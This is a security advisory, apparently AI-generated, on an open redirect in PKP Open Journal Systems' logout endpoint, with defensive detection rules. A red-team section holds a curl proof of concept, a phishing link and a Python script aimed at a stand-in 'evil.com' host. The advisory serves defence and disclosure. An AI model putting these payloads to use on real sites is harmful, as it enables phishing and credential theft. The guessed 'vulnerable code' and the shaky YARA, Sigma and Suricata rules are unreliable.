CVE-2024-7902

Executive Summary

CVE-2024-7902 is an open redirect vulnerability in PKP Open Journal Systems (OJS) up to version 3.4.0-6. The flaw exists in the /login/signOut endpoint, where the source parameter can be manipulated to redirect users to an attacker-controlled external domain (e.g., .example.com). This can be exploited for phishing, credential theft, or malware distribution. The vendor was contacted but did not respond, leaving the vulnerability unpatched. The EPSS score is 0.0%, indicating low exploitation likelihood, but the public availability of exploit details increases risk.

Supply Chain & Package Security

This vulnerability affects a self-hosted PHP application (PKP OJS). It is not distributed via NPM, PyPI, Go, or Ruby registries. However, organizations using OJS should verify their deployment version and apply any available security hardening.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires user interaction (clicking a crafted link) but can lead to credential theft or malware installation.

Deep Dive & Mechanics

The vulnerability resides in the logout functionality of OJS. When a user logs out via /login/signOut, the application accepts a source parameter to redirect the user after logout. The parameter is not properly validated, allowing an attacker to supply a malicious domain (e.g., http://evil.com). The application then performs an HTTP redirect to the attacker-controlled URL.

Root Cause: Insufficient validation of the source parameter. The application likely checks for a leading dot (.) but fails to block external domains. For example, .example.com is interpreted as a valid subdomain redirect, but an attacker can use http://evil.com directly.

Attack Flow:

1. Attacker crafts a malicious link: https://victim-ojs.com/login/signOut?source=http://evil.com
2. Victim clicks the link (e.g., via phishing email).
3. Victim is logged out and redirected to http://evil.com.
4. Attacker can host a fake login page to steal credentials or deliver malware.

Vulnerable vs. Patched Code

Vulnerable Code (OJS <= 3.4.0-6):

// In login/signOut handler
$source = $_GET['source'] ?? '';
// No validation of $source
header('Location: ' . $source);
exit;

Patched Code (Hypothetical):

// Validate source against allowed domains
$allowedHosts = ['example.com', 'sub.example.com'];
$source = $_GET['source'] ?? '';
$parsedUrl = parse_url($source);
if (in_array($parsedUrl['host'], $allowedHosts)) {
    header('Location: ' . $source);
} else {
    header('Location: /index.php');
}
exit;

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team

Exploit Proof-of-Concept:

# Craft a malicious link
curl -v "http://target-ojs.com/login/signOut?source=http://evil.com"

Phishing Payload:

<a href="http://target-ojs.com/login/signOut?source=http://evil.com/fake-login">Click here to log out</a>

Automated Exploit (Python):

import requests

target = "http://target-ojs.com"
evil_url = "http://evil.com"
payload = f"{target}/login/signOut?source={evil_url}"
response = requests.get(payload, allow_redirects=False)
print(f"Redirect to: {response.headers.get('Location')}")

Blue Team

Detection Steps:

1. Monitor logs for source parameter containing external domains.
2. Block outbound redirects to untrusted domains via WAF.
3. Implement URL validation on the server side.

Lab Setup:

• Install OJS 3.4.0-6 on a local VM.
• Use Burp Suite to intercept and modify the source parameter.
• Verify redirect to attacker-controlled server.

Indicators of Compromise (IOCs)

• URL Pattern: /login/signOut?source=http:// or https:// (external domain)
• Log Entry: GET /login/signOut?source=http://evil.com with HTTP 302 response
• Network Traffic: Outbound HTTP redirect to unknown domains after logout
• File Hash: N/A (no file modification)

Detection Engineering

YARA Rule

rule CVE_2024_7902_Open_Redirect {
    meta:
        description = "Detects open redirect attempts in OJS login/signOut"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-7902"
    strings:
        $url_pattern = "/login/signOut?source="
        $http_redirect = "Location:"
    condition:
        $url_pattern and $http_redirect
}

Sigma Rule

title: CVE-2024-7902 Open Redirect in PKP OJS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects open redirect attempts via /login/signOut endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: "/login/signOut?source="
        sc-status: 302
    condition: selection
falsepositives:
    - Legitimate redirects to same domain
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7902 Open Redirect in PKP OJS"; flow:to_server,established; content:"/login/signOut?source="; http_uri; content:"Location:"; http_response; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Apply a WAF rule to block source parameters containing external domains.
2. Code Fix: Validate the source parameter against a whitelist of allowed domains.
3. Configuration: Disable open redirects by setting a default redirect URL.
4. Monitoring: Enable logging for all redirect attempts and alert on anomalies.
5. User Awareness: Train users to recognize phishing links.

Valters IT Signature:

Report generated by Valters IT DevSecOps AI Assistant | CVE-2024-7902 Analysis